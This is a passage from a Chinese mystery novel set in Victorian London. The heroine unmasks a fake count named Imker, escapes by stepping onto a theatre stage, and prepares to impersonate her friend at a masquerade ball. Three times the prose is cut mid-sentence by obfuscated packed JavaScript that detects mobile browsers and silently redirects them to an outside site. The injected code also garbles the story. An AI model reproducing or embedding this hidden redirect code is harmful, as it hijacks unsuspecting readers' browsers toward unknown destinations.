八本尼威特,这个重量也与她手上那枚蜜蜂袖扣差不多。 这应该能算作证据了。但奥丽芙的目光只将交易内容瞥了一眼就移开,她不由自主又去盯着Imker这个词,这个名字。 范德梅尔有一副刻着蜜蜂的袖扣,他在需要使用化名时,用了一个意思为养蜂人的姓氏——这两者之间肯定有关联,总不至于是他喜欢蜜蜂那么简单。 关联可以慢慢去找,可是,心里那种怪异的感觉,到底是什么?奥丽芙无法对它置之不理。它就像扎入皮肉的一根小刺,没有给你造成很大的痛苦,但你必须找到它并拔出来,不然你总会想着,难受无比。 而这根刺,正是在她刚才注意到Imker这个姓的瞬间,扎进去的。 除过与蜜蜂相关,它还有什么特别之处? 这是个源于职业的姓氏。职业是姓氏的一个重要来源,在奥丽芙所了解的每一种语言中,都包含诸多起源于职业的姓氏。 比如库珀这个姓,就有箍桶匠之意。说明库珀先生的祖先曾从事箍桶这一职业。这没什么可说长道短的,箍桶匠是辛勤劳作、技艺精湛的手艺人,箍桶匠的子孙后代中,也可能出现了不得的人物。 但是,的确有偏见存在,尤其是某些世家贵族瞧不起这样的姓氏,认为其拥有者的祖先身份“低贱”。那回在慈善舞会上,伊迪丝就被几个人拿她的姓开玩笑嘲讽过。 范德梅尔显然没有这种偏见,他不唯身份、而唯金钱至上。 奇怪呀,为什么会在心里,隐隐把范德梅尔与偏见联系起来?是哪一次,他说了什么话?肯定就是最近听到的…… 不对,不是范德梅尔,是赫伯特太太! 再以荷兰语和德语——这是两种相近的语言——举例。在荷兰语中,visser这个词意思是捕鱼为生的人,演变成了姓氏维瑟,德国姓氏赫尔德,本意为牧羊人(herder)。 赫伯特太太提到过,范德梅尔小姐已经和人订了婚,未婚夫家境普通,“祖上不是渔夫就是牧羊人”。 其实是赫伯特太太记错了,要么是故事来回转述中,有人搞混了,因为未婚夫的姓氏也是一个古老的职业姓氏,他姓因姆克,祖上是养蜂人。 因姆克正在帮未婚妻寻找兄长,范德梅尔肯定心知肚明。莫非他拥有某种恶毒的趣味,知道对方没能力找来,故意使用对方的名字做化名,在心里对妹妹及其未婚夫大肆嘲笑? 镶着伯爵纹章的梳妆匣,治疗蜇伤的药膏…… 范德梅尔“心知肚明”的是这件事:妹妹的未婚夫因姆克并没有在找谁。因为他自己就是因姆克本人。 他使用的是自己真实的、不为人知的名字,范德梅尔才是假名。那个一直被人称作“范德梅尔伯爵”的人,根本不是伯爵,不是范德梅尔,他姓因姆克。 这个名字就是罪证! 因姆克的祖上曾经以养蜂为业,后代渐渐阔了起来,社会地位上升, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073632|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步入绅士阶层。为了纪念祖先的职业,他们以蜜蜂作为家族标志,刻印在各种物件上,包括袖扣。 那位年轻的因姆克先生受过良好的教育,可以伪装成一个“上等人”,得到机会后,他便这么做了,因为他是一个心术不正、丧尽天良的骗子! 因姆克不知如何认识了范德梅尔伯爵一家,并骗得伯爵小姐西尔维娅与他订婚,西尔维娅还将自己的梳妆匣送给了他。 真正的范德梅尔伯爵因赌博欠债离开家乡,家中只剩老迈的寡母和年轻的妹妹,无力追寻伯爵的下落,只好委托因姆克代为寻找。可是,因姆克看到伯爵家业败落,早已有了抛弃西尔维娅,另寻一个有钱未婚妻的打算。他不但不帮忙规劝伯爵回家,甚至可能先生出取而代之的念头,后设法害死了丹尼尔·范德梅尔! 假充范德梅尔伯爵后,因姆克还一直保留着刻有家族蜜蜂图案的袖扣,自以为不会有什么问题,因为谁都可以喜欢蜜蜂,别人很难猜测其中另有含义。后来,他迷信袖扣能使他赌运亨通,更是始终戴着。 父亲与他见面后,发现他不是范德梅尔,或者发现了其它疑点。因姆克杀死了父亲,想伪装成流浪汉谋财害命,他拿着凶器和父亲的钱包来到泰晤士河边,准备将凶器——很可能确实是块石头——扔进河里,正巧发现河岸边躺着个昏睡不醒的流浪汉,干脆将钱包塞进流浪汉口袋。 一开始,因姆克可能还不知袖扣丢在哪里。他听说费克特先生有个女儿,赶紧让人送匿名信吓唬她。后来,他打听得知女儿从警察手里要走了袖扣,大为惊恐,雇人——很可能就是奥康纳这儿的某个伙计——去哈德维克村,想偷回袖扣。 不过,上回在默顿公爵家,说起丢梳妆匣的事,“范德梅尔”好像没表现出异样。恐怕是——伙计偷走梳妆匣后,自己拿去卖了,根本没对因姆克提。 因姆克没找回袖扣,但是,警方也没有详查案件,他们为图省事,把罪名定在了死去的流浪汉身上。因姆克将剩下一只袖扣改头换面,变成金币,便以为从此万事大吉,他的罪行永远不会暴露…… 有几秒钟,奥丽芙被愤怒和悲痛攫住了,坐在椅子上不能动,不能喘气,也忘了其它一切事。 “小姐,要我给你端杯茶吗?”小伙计大概瞧她神色不对,试探着问了句。 奥丽芙被惊醒了。她把记录着袖扣的这页纸飞快撕下来。 “你做什么?”小伙计喊了一声。 奥康纳先生闻声跨进屋子,奥丽芙抬头看向他,眼睛里还闪烁着悲愤和仇恨。 两人视线相交,从对方瞬间变冷变硬的目光中,奥丽芙看出自己的内心已经被知悉了。 “弗兰克!”奥康纳先生大喊,从他身后屋子钻出一个年轻些的人。 奥丽芙匆忙将纸一团,揣进兜里,转身抢出那扇通往外间店堂的门。 出了金铺,她撒腿就跑,奥康纳在后面高喊:“快去抓,她抢了金子,别让她跑远!” 很快,奥丽芙听见身后传来一串急迫的脚步以及恶毒的喊叫:“小偷,她是偷金子的贼!” 该死的裙子! 裙子绊着腿,奥丽芙跑不了太快,但她已经冲上了大街,这条街道路不宽,但行人不算少。奥丽芙稍微放慢了脚步,改为疾走,如果他们敢当街追赶一位衣着体面的女士,会有路人拦住他们的。 果然,她没有再听到紧随身后、咚咚咚的脚步声,再走半条街,就可以拐上车马要道,有希望拦到一辆出租马车。可是,奥丽芙侧头向后一望,看见奥康纳正和一个当街执勤的警察说话,警察向她这边看过来,点着头。 警察也要来抓她了!被警察抓住无所谓,就算将她押走,迟早也得放回来。但假若警察听信奥康纳,搜她的身,那么,好不容易得来的那页记录,因姆克假充伯爵、拥有一枚蜜蜂袖扣的“证据”,可能被对方夺去并销毁。 这时,奥丽芙瞥见了一处眼熟的地方——道路中斜插入一条很窄的巷子,她灵机一动,立即拐了进去。 巷子里没人,她又提着裙子开始奔跑。这儿曲里拐弯,看来像条死胡同,但奥丽芙知道它不是,昨天她刚刚走过这条路。她一气跑出来,站在了尼西剧院和大歌剧院之间。 29. 登上舞台 尼西剧院门口的大幅手绘海报上画着四个互相拉扯的青年男女。 没时间犹豫了,几秒钟前还能听到警察笨重的皮靴声。奥丽芙朝海报望一眼,冲进剧院,直奔到后台入口。门房正坐在小屋内看报纸,大概是眼角余光瞥到她的影子,头不抬地说:“你又迟了,下次我会告诉昆塞尔先生。” 奥丽芙不答话,急匆匆走了进去。 有一间化妆室亮着灯。这是间几人合用的大屋子,但此时,只有一个已经穿好戏服的姑娘在镜子前坐着。奥丽芙一步跨进屋,反身插上门。 那姑娘惊奇地望着她:“你干什么?” 奥丽芙抓出自己的小绿钱包,把里面所有金镑叮叮当当倒在梳妆台上:“这些给你,你是不是演《维洛那二绅士》,能让我代你上场吗?我喜欢和朋友开个玩笑,我有一位朋友正坐在观众席上……” “是位男性朋友吧!”女演员叫道,露出心领神会的表情。 “对!”奥丽芙顺着她的话编下去,“我想给他个惊喜。这出戏我看过好多遍,我保证不乱演。” “我扮裘丽亚的女仆露瑟他,不难演。”女演员跳起身,奥丽芙急忙在空出来的位置坐下,抓起眉笔。 女演员绕着她转了半圈,打量她的身形,又从镜子里看她的脸,口里说,“不赖……” “你的衣服快给我。”奥丽芙飞快地在脸上涂抹,同时快速解释道,“可是有些人反对这件事,他们不愿意我和他在一起,想要阻止我。他们刚才正跟着我,要是有人来问,千万别说出来好吗。他们很有势力,可能会找来警察吓唬人,不管说什么,你都别理,只说没见到有人来过就行。” “警察我可不怕。”扮演露瑟他的女演员连连点头,“但这些钱可不能摆在这儿。那我就不客气了。”她拿手一扫,把所有钱币扫入另一只手掌中,走到挂满了衣服的无门衣柜前,摸索一阵,随即便是硬币入袋的轻微声响。 “没人想到我那兜里会装钱,不过还是得小心,别被人偷了去。”她自语说。 她一边脱戏服,一边安抚奥丽芙:“放心,我肯定不告诉人。”又对自己加了一句,“要是昆塞尔先生知道,非杀了我不可。” “他不会,你就说你突然肚子疼。” 奥丽芙帮着露瑟他脱掉白底蓝边的女仆裙子,赶紧套在自己身上。 露瑟他弯身为她拽了拽裙子,从背后系好带子,爱慕地望着她:“你的身段真好,要是演歌舞剧,你可以去当领舞。” “谢谢。你也一样。” 梳妆镜角上挂着一顶结成两条黄色粗辫子的假发,奥丽芙拿下来。假发有点脏,她也顾不得了,往头上一套。 再向镜中一瞧,她的眼圈涂得又大又黑,皮肤雪白,嘴唇鲜红,加上两条辫子,准保谁也认不出她来。 露瑟他鼓励道:“别紧张,好好演,我保证不告诉人。” 第一幕第二场就是女仆和主要角色之一裘丽亚的戏,扮裘丽亚的演员早已经准备好,正等着丝绒大幕拉开,看见露瑟他才来,刚要瞪一眼,突然发现不对,调转了目光。 原来的露瑟他在一旁半弯着腰说:“我肚子疼得很,幸亏我妹妹来了,她替我。” 没工夫再多说一句,幕布拉开了,一眨眼,奥丽芙已经跟着裘丽亚来到台上,面对着整个宏伟壮观的半圆形剧场,被精致的布景紫罗兰和苹果树所衬托,成为一个玄妙、美丽的魔幻世界的中心。 “露瑟他,现在这儿没有别人,告诉我,你赞成我跟人家恋爱吗?”裘丽亚一面说着台词,一面仍然瞪着奥丽芙。 “我赞成,小姐,只要您认准了真心,别莽莽撞撞。”奥丽芙用假嗓子尽量大声地说。 扮演裘丽亚的演员是个挺有舞台经验的人,知道如何压住场面,她见事已至此,狠狠剜了奥丽芙一眼,便不露声色,继续说她的台词。 过去,在晚饭后,奥丽芙总和父亲一起朗读莎士比亚,遇到中意的段落,她也给父亲小小地扮演一下,逗父亲开心。 这部戏中的对白她挺熟悉,虽说不至于倒背如流,但好在女仆的台词不长,又基本都是对裘丽亚的话作答,奥丽芙凭借记忆,能说个大差不差。她想观众未必在意,便自信地念下去,她听见自己做作出的嗓音在剧场中回荡。 “……若我是您,我不会选他。” “他不缺钱,人品却像他的脸膛,缺点多得让人数不清。” “请原谅,我的小姐。像我这样平凡的人,怎么有资格批评高贵的绅士呢?” 奥丽芙猛然发现,她说的这些台词倒和现实中她做的事差不多。她不正是为了一位小姐,对那些“高贵”的绅士一一做出评价吗? 何止评价,我还要戳穿你们的真面目。奥丽芙胸中涌起一股骄傲。 念过两三句词,没听到嘘声,奥丽芙已经很镇定了,有空闲瞄瞄周围的情况。 日戏通常都坐不满,何况上演的不是新剧目,池座中大概只坐了一少半人,好几只包厢也全是空的。不过,舞台侧面上方最近的一个包厢中有三个人,其中一位先生和一位身穿黑色绉绸裙子的太太坐在前排,奥丽芙认出这位太太是孀居的斯塔福德侯爵夫人。她身边的先生半侧着身,脑袋伸到包厢深处,和坐在后排的姑娘——想必是侯爵小姐——凑着头说话。 侯爵夫人性子高傲,只和贵族圈子里的人来往,绝不肯屈尊同库珀先生搭交情,奥丽芙也就从来没有被引见给她们母女二人的荣幸。此时她觉得是件好事,可以不必担心她们,因为这个包厢离舞台简直太近了,要是她愿意,甚至能数清楚夫人项链上的珠子有几颗。 “我的理由是女人的直觉。我以为他最好,他一出现,我就是觉得他最好。” 奥丽芙刚说完这一句,包厢中那个没让她看见脸的先生突然转过身,身体向前倾了倾,注视着舞台。奥丽芙又瞥过去,看见他是Z伯爵。 他的身体越来越俯向前,几乎探出了包厢外,奥丽芙稍一仰脸,便对上了他的目光。Z伯爵的嘴角微微翘着,眼神中说不清带着什么意思。奥丽芙明白自己被认出来了。 难道他追逐的对象除了伊迪丝,还另有别人?怎么又和侯爵小姐一起看戏,而且,看起来和对方颇亲密。昨天散步途中对他积起的一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他短暂消失了一会儿,接着,奥丽芙看见他走进了Z伯爵和侯爵母女所在的包厢。 奥康纳衣装笔挺,样貌气派,没有令包厢里的人受到惊吓。他向他们简单说了几句,便立在那儿,眼睛向下四面扫视。 这倒是个聪明的办法,在高处那个位置,他可以将剧院前半部分看得清清楚楚,也没有人再嘘他了,而一旁的侯爵夫人和小姐,也不由顺着他的目光到处看。只有Z伯爵岿然不动,炯炯的目光注视着奥丽芙,现在,他那一脸感到新奇、有趣的表情已经变成了一副心领神会的笑容。 只要再念一句台词,露瑟他又该短暂退场了,奥丽芙决定效法上次,继续站在角落里。 但她没法永远躲在舞台上,很快这场戏就要演完,演员们全部下台,要是裘丽亚一喊叫,不是正好被可能守在后台的人听到?一着急,奥丽芙忘了伪装声音,用自己原本的嗓音念起了台词。 她感到奥康纳迅速转身,目光向台上射来。 30. 溜之大吉 幸好,露瑟他该下去了,奥丽芙走到苹果树后,自然而然地避开奥康纳的视线。 但是这次,奥丽芙没有完全背过身——不能让人觉出她是心虚了,得赌一把。她透过枝梢瞧着裘丽亚念一段长长的台词,同时,也关注着那间包厢,勇敢地把侧脸暴露给包厢里的人。 奥康纳没有再盯她,因为Z伯爵在对他说话。说话时Z伯爵仍然望着舞台,满面笑容。不知他说的是什么,侯爵夫人扭过脸瞪着他,显出惊骇鄙夷的神情。接着,奥康纳走出了包厢,从他毫不旁顾的目光和急速的步伐看,奥丽芙知道自己逃过去了。 她又回到舞台中央,和裘丽亚对了几句话。Z伯爵继续从容地、目不转睛地看着她。 这场戏结束了。 一下台,真正的露瑟他扑上来:“你演得挺好,你男朋友瞧见了吗?” “应该看见了,我没看见他。”奥丽芙含糊回答,悄声问,“有人来找我吗?” “有!真是个警察,我说没人来过,他还到处都检查了一遍,真没礼貌!” “他走了?” “早走了。” “你们嘀嘀咕咕捣什么鬼,我要告诉昆塞尔先生!”裘丽亚不满地说。 “得了,你是大明星,和我们计较什么?我请你下馆子,你说上哪儿就上哪儿。”露瑟他甜甜道,对奥丽芙使个得意的眼色。 “下一场你还演吧,他肯定等着看呢。”回到化妆室,露瑟他问奥丽芙。 “不演了,你上吧,我演够了。”奥丽芙脱下身上的行头。露瑟他的戏份还在好几场之后,既然已经脱离危险,没必要假扮了。但保险起见,奥丽芙打算多等一会儿再离开剧院。 她立在大幕之后,听演员在台上念白。这会儿,她的心仍然砰砰直跳。不光是手握真相令她激动,还有刚才站在舞台上、站在观众面前的感觉——没想到她竟演了一场戏,并因此逃过了坏蛋对她的追捕!奥丽芙的确为自己骄傲。 可惜还是叫Z伯爵看穿了。奥康纳不知对他说了什么,肯定是编造了一些恶毒的谎话。不过Z伯爵也不必得意,他还绝对不愿让库珀先生和伊迪丝知道他脚踏两只船呢。 此刻,奥丽芙把露瑟他在另一场中的台词又想起几句,颇感到遗憾,不能对着Z伯爵大声念出来:“什么盟誓,什么眼泪,不过是假心男子们的工具罢了。” 中间换幕的时候,她又朝刚才那只包厢瞄了一眼,Z伯爵不见了,这时,只有两位女士在那儿正襟危坐。 . 奥丽芙平安回到酒店,立即发电报给布朗先生。不巧的是,这天布朗先生刚好出了城,很晚的时候才返回,他看到电报,赶来绿窗酒店,已是深夜了。 这晚,没法再做什么,但第二天一大早,布朗先生就派人前去金铺。谁知,到那儿时,已是店门紧锁,人去楼空。向左邻右舍打听得知,店主老家有急事,连夜回家去了;几个店员平日睡在店里,不知哪里还另有住处,一时难以找到。 听到奥康纳逃走,奥丽芙并不十分懊丧,但难免着急,生怕假伯爵闻讯也逃走。“我现在就去报告给警察!” 布朗先生思索了一会儿,说:“眼下,我们只有这个,恐怕这还不够。”他指着奥丽芙从店铺登记簿册上撕下的那页纸,“这上面只记了袖扣所用金子的重量,并没有描述袖扣样式和蜜蜂花纹。即便描述了,警方和法院也会说,无法根据几句描述,证明熔掉的这只袖扣和遇害现场捡到的那只一定是一对。 “除非找到奥康纳,否则,我们没有能够指控‘因姆克’涉嫌杀害费克特先生的有力证据。因姆克当前的身份毕竟还是位伯爵,我们恐怕无法让警察立即抓捕他,要是打草惊蛇,让他做足准备并远远躲起来,反而不好办了。 “我看这样吧,刚好我认识一个人,他在荷兰的美国使馆工作,我发电报给他,让他联系当地警方,尽快找到范德梅尔的家人——你说他有个母亲和妹妹,在哈勒姆?她们大概能提供不少情况。假若发现我们认识的那位伯爵确实是因姆克假冒的,就可以先以涉嫌谋杀丹尼尔·范德梅尔的罪名逮捕他,那时,他就不得不承认杀害费克特先生的罪名了。” 听布朗先生这样说,奥丽芙也只好暂且忍耐,但她还有顾虑:“那个逃跑的店老板会不会已经联系了假范德梅尔伯爵,让他有所提防……” “这个不怕。”布朗先生说,“我马上安排人监视他的住处,我还会再找几个人,让他们守在火车站、驿站、码头。这位先生身高约六英尺一英寸,体重约一百七十磅,蓝眼睛,相貌英俊,对吧——还有,头发金红色,但发色我不提,防备他戴假发——我会嘱咐他们特别关注这样的人,大概漏不掉。假如他想离开伦敦,我们会立即拦住。” . 今天晚上要举行化装舞会,因此,白天几乎没有什么社交活动,奥丽芙料定在哪儿都碰不到“范德梅尔伯爵”。这样也好,假如面对他,她真没法保证自己能做到面不改色。 奥丽芙已经写信给韦克林公爵夫人,为临时有事,无法参加化装舞会道歉,不过,她打算舞会开场后藏在暗处,悄悄看看假范德梅尔会不会出现。若他来,说明他还没得到报信,等过几天荷兰返回消息,就可以抓住他了! 布朗先生离开后,奥丽芙呆在自己的房间,焦急地等待天黑。她翻了翻晨报,看看有没有与范德梅尔伯爵相关的报道。没有。同样,也没有关于突然消失的金铺店主奥康纳先生、以及他追踪“偷金女贼”至尼西剧院所引发的那场小小风波的任何报道。 不过,头条新闻确实是一件窃案,一件新的珠宝窃案:昨天下午,那位珠宝大盗在河岸街某议员宅邸,盗走了一只蓝宝石冠冕。 这件事或许会使韦克林公爵夫人暗中高兴——大盗每偷一件珠宝,好像都要“休息”一段时间,迄今,他还没有在连续的两天接连作过案,既然他昨天刚偷过东西,公爵夫人就不必为自己举办的舞会担心了。 奥丽芙对大盗的作案模式不怎么关心,不过,因为等待的时间太难熬,她略微把窃案新闻看了几眼,发现盗窃发生的时间倒和她“上台”的时间差不了多远,而且,河岸街距离戏院也挺近。 那个警察真够笨的,他要是不听信奥康纳胡说,跑去戏院抓我,而是做他该做的正事,好好在街上巡逻,再往河岸街那边走走,说不定他就能抓到大盗立功了。奥丽芙心想。 她丢开报纸,耐着性子继续等待。 下午茶之后,侍者敲门说:“布莱克小姐,库珀先生请你去一下库珀小姐的房间。” 奥丽芙立即赶去,一面想:看来布朗先生都对库珀先生讲了,库珀先生又告诉了伊迪丝。伊迪丝一定很吃惊。她一度挺喜欢“范德梅尔伯爵”,冷不丁得知他的真面目,想到自己曾经的朋友是个作恶多端的罪犯,她肯定会又气愤又伤心,——该如何劝慰她? 可是只有库珀先生和伊迪丝的侍女珍妮两个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102222|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在房间里。库珀先生正用急迫的脚步在屋中一圈圈转着,奥丽芙进来后,他停了下来;而珍妮满面泪痕站在一旁,动都不敢动。 “奥丽芙,”像以往一样,库珀先生亲切地招呼奥丽芙,可随即,他的声音变得十分焦虑,“你今天见到伊迪丝了吗?” 奥丽芙惊讶地摇摇头:“她早上不是去凯里夫人家了?” “她去了,又走了。——刚才我在街上碰见凯里夫人,她说伊迪丝没和凯里小姐在一起,她只在她们家呆了一会儿,说要回来准备化装舞会,好晚上让所有人大吃一惊。我以为伊迪丝确实是这样打算,但伊迪丝不在家。——你听她怎么说。”库珀先生指一指珍妮。 珍妮仿佛吓瘫了,几乎站都站不稳,好半天,才哆哆嗦嗦说:“上午小姐回来了一趟,说要拿些东西。她带了几件衣服和首饰又出门了,没坐马车,她说有马车在外面等着,当时我还以为是凯里夫人府上的车。” “她是不是又上别人家了?”奥丽芙猜测,但自己也觉得不大可能。伊迪丝既然说要在舞会上让所有人大吃一惊,那在哪儿准备都不如她自己的房间合适。 库珀先生又问奥丽芙:“你最近可曾见到范德梅尔伯爵?” 由库珀先生的神情,奥丽芙立即发觉他还不清楚范德梅尔的真实身份,但是,他说“范德梅尔伯爵”时,语气中含着某种厌恶和痛恨,那就意味着…… 奥丽芙还没敢想,库珀先生说了出来:“伊迪丝跑了,她受了那个混蛋的骗,和他一起跑了。” “和范德梅尔伯爵?”奥丽芙不由叫了一声,但她很快稳住自己,问,“我们怎么确认伊迪丝是和……范德梅尔伯爵在一起?” “她昨晚见过那个混蛋,她带走的不是舞会上要穿的衣服。”库珀先生简单地说,又一指珍妮。 珍妮这时哭了起来,但话说得很快:“昨天晚上,范德梅尔先生过来,他以前也来过,他会向窗户上扔一个石子,小姐听见,就会下楼到花园里见他。小姐不许我告诉人……” 库珀先生绝望地叹了口气:“我知道伊迪丝对那家伙有好感,但我没想到她会这么做。” 奥丽芙非常愧疚并自责,她目击过伊迪丝和“范德梅尔”私下约会,如果她告诉库珀先生,可能就不一样了,可她一直没讲出来——她总觉得那是伊迪丝的私事,别人无权过问。 她还后悔没有坚决地向伊迪丝揭穿“范德梅尔”的卑鄙嘴脸。 不能再耽搁了。她简洁明了地说出了这两天她得知和猜测的所有事。 库珀先生的脸一下子变得苍白:“一个杀人犯!他绑架了伊迪丝……” 奥丽芙急忙又说了布朗先生的计划:“布朗先生保证,不会让范德梅尔跑出伦敦。我们肯定能很快找到他们。我想,他不会伤害伊迪丝,那样他手里就没有筹码了,只要伊迪丝好好的,他还可能和你谈条件。” “对,对,我刚才也派人去车站那些地方找伊迪丝,我就怕太迟了,布朗先生早有准备就好。”库珀先生表情稍稍放松了些,“布朗先生我可以相信,他找的帮手肯定也都是人品很好的绅士,会悄悄把伊迪丝送回来,不会声张。不过,”库珀先生语调低下去,“我是不是还该让人去教堂问问,万一他们……” 奥丽芙很直接地说:“不会的,登记结婚前得发结婚预告,还得等上几个星期才行,那时早就找到他们了。” “我是怕,那家伙已经搞到了结婚许可。” 31. 化装舞会 奥丽芙没想过“范德梅尔”早已做好了准备的可能性,听到库珀先生的话,不由也很担忧。 她尽量宽慰道:“眼下,假伯爵绝对不想在伦敦多停留,去教堂结婚太冒险,他肯定想着尽快离开,去一个很远的、没人认识他的地方。不管他乘火车、船、还是马车,只要离开伦敦,就会正好撞在你和布朗先生派的那些人眼前。——今天晚上,我们一定能见到伊迪丝平安归来。” 她的语气很肯定,库珀先生被说服了,精神也振奋起来:“你说得对,确实没到不可收拾的地步。” 但他突然又拧起眉,“舞会。伊迪丝回来,也没法去参加舞会了。我碰到凯里夫人时,她刚从韦克林公爵夫人家回来,她说凯里小姐吃过午饭后突然不舒服,不能去舞会,她特意去公爵夫人府上解释,聊天时,她们提到了伊迪丝,公爵夫人还说等着看伊迪丝如何让大家大吃一惊。” 说到这儿,可能是想到伊迪丝所谓让人“大吃一惊”的真正含义,库珀先生痛苦地闭了闭眼。 停了一会儿,他又说:“伊迪丝一心盼着舞会,总是说这场舞会,很多人都听到了,而她偏偏没在舞会露面。可能今晚,别人还不会太奇怪。但事情往往就是这样:等过几天,大家都知道了范德梅尔的事,再回想起来,就怕有人猜测,把两件事凑在一起。”库珀先生沉重地叹气,自语道,“不要紧,只要能回来,眼下还怕什么风言风语……” 奥丽芙考虑片刻,有了个主意:“等伊迪丝回来,我代她去舞会。韦克林公爵夫人没见过我和伊迪丝几回,既然凯里夫人和凯里小姐不去,舞会上其他人应该都对我们不太熟,我可以装作是伊迪丝,我们俩个头差不多,化化妆就没人分得出了。非得说话时,我可以哑着嗓子说,我就说可能害了咽炎,正好,我只跳两三场舞就借身体不适离开,这样,就不大可能让人怀疑了。” “不是所有人都对你们不熟,公爵夫人还请了……” 库珀先生没说完,不过奥丽芙明白他的意思。小默顿、德·雷斯托子爵、Z伯爵、范德梅尔伯爵全部在公爵夫人邀请之列。范德梅尔当然不必算了,可其他三人不可能认不出伊迪丝。 可能潜意识里觉得他们三个不成问题,所以奥丽芙刚才根本没考虑这几个人。她说:“假如和朋友跳舞,我就说这是伊迪丝的一个小玩笑,请他们不要说出去。我认为,无论如何,参加舞会的这几位朋友都是绅士,不大可能和别人议论这件事。” “对,无论如何,他们几位都是绅士。”库珀先生喃喃道,他露出了一丝笑容,望着奥丽芙说,“我很感激你帮忙,我认为这个办法确实可行。你和伊迪丝很像,你们都是美丽的女孩子。” 奥丽芙鼓励地问珍妮:“不知道你能不能把我的样子装扮得让人看不出?” “可以的,布莱克小姐。”珍妮急切道,想要将功赎罪,“我可以试试。” . 晚上九点钟,奥丽芙在珍妮的帮助下,已经装扮好了。这时,陆续有舞会的客人到达绿窗酒店,但奥丽芙还呆在伊迪丝的房间里,一面和珍妮做最后的完善工作,一面焦急地等待着。 十点零五分,门上急匆匆敲响了三声。奥丽芙猛地站起来,珍妮扑过去开门,一个披着斗篷的身影冲进屋子,库珀先生跟在后面。 库珀先生向奥丽芙点点头,他的表情很严肃,但眼睛里并不含愤怒、伤心等情绪,于是奥丽芙知道:那个恶毒狡诈的罪犯没逃脱,伊迪丝则获救了,没有“在上帝面前”不可挽回地和他结为夫妻。这正是她和库珀先生共同期盼的“好结果”。 奥丽芙没工夫和伊迪丝说话,这时候,伊迪丝只需要亲人的陪伴。奥丽芙模仿着伊迪丝一惯的步态,走出了房间。 十点十五分,奥丽芙步入舞会大厅。距舞会正式开场,已经过去了半个多小时——这是一个明知自己打扮得很美丽、一定会受到全场瞩目的姑娘,选择到场的最佳时机。 果然,进入大厅后,几乎所有的脑袋都向她转过来。 当奥丽芙早先自己准备参加舞会时,她打算装扮的人物是“阿里巴巴和四十大盗”中那个机灵的女仆。《一千零一夜》这部书在上流社会中挺风靡,大家都喜欢那些神秘的东方故事。 奥丽芙把自己的深色印花裙子稍做修改,又动手缝了一条头巾,能惟妙惟肖地装个阿拉伯小女仆了。不过,服装究竟还是不够精美,而且,也不能想象伊迪丝愿意扮成使女。 伊迪丝对自己要装扮的人物严格保密,奥丽芙也是今天才从珍妮口中得知,伊迪丝会扮成提斯柏,在胸口佩一串紫玛瑙雕刻的桑葚。 提斯柏的恋情被父母反对,一对恋人只能通过墙缝互诉衷肠。一次偷偷幽会时,发生了可怕的悲剧,两人双双殉情而死。这是一个凄美的故事,但在此刻很不合适,奥丽芙担心伤害了库珀先生的感情,决定另换一个。 没有更多时间了,只能“就地取材”。正巧,伊迪丝的衣橱中有一件新做的礼服裙,裁剪可被称作“希腊式”,她还有一件雕着月亮的发冠。于是,奥丽芙扮作了希腊神话中的月亮与狩猎女神阿尔忒弥斯。 伊迪丝刚好还有一顶乌黑的假发,奥丽芙也“多此一举”地戴上了,真发和假发毕竟有区别,这样更像伊迪丝。——别人会以为伊迪丝心目中的女神正是一头黑发,能更好地突出她那件雕着银色月牙的黄金头饰。 人们常常认为皮肤不够白是奥丽芙的一大缺点,可是这件白色长袍令她微黑的肤色生气勃勃。关于裸露在外的皮肤,珍妮认为没有问题,因为“假使小姐要扮希腊人,她会用油彩把脖子和胳膊涂深一些。”奥丽芙就涂了很多油彩,直到她根本不像她自己,好像戴了一张面具才算完。 不过,美丽的并不是她的脸庞,而是一整个轮廓。 有些人穿普通的布袍甚至比身着华服时更美,奥丽芙便是其中之一。但只是这么说一说,礼服一点儿都不普通——由克莱尔太太制作,她享有“伦敦最好的裁缝”之美誉,这名头可不是盖的。裙子样子朴素是因为其装饰不是花边、流苏或亮晶晶的扣子,而是布料自然的褶皱——绸缎面料十分昂贵,在腰间用一条银丝织成的腰带轻巧束住,垂下时有种大理石雕塑般的质感。 光滑的绸子轻柔贴住奥丽芙纤细的腰肢,使她略微偏瘦但秀丽的少女身段更加挺拔、优美。假使她能停住不动,从侧面看,那笔直的鼻梁,俏丽的下巴,和一整个身躯,正是一尊完美的雕像。 奥丽芙不能停下不动,给别人仔细辨认的机会。她只在舞厅入口处稍稍顿了脚,向韦克林公爵夫人带来登记来宾姓名的侍者轻轻吐出“库珀小姐”几个字,便骄傲地昂着头走入人群,在其中穿梭而行,简直不似凡间人物。 经过之处,响起一片低低的赞叹声,又多几双眼睛追随着。似乎有点过于惹人注意了,但低调向来不是伊迪丝的风格,因此,奥丽芙认为值得“铤而走险”,出这场风头。 她也迅速观察 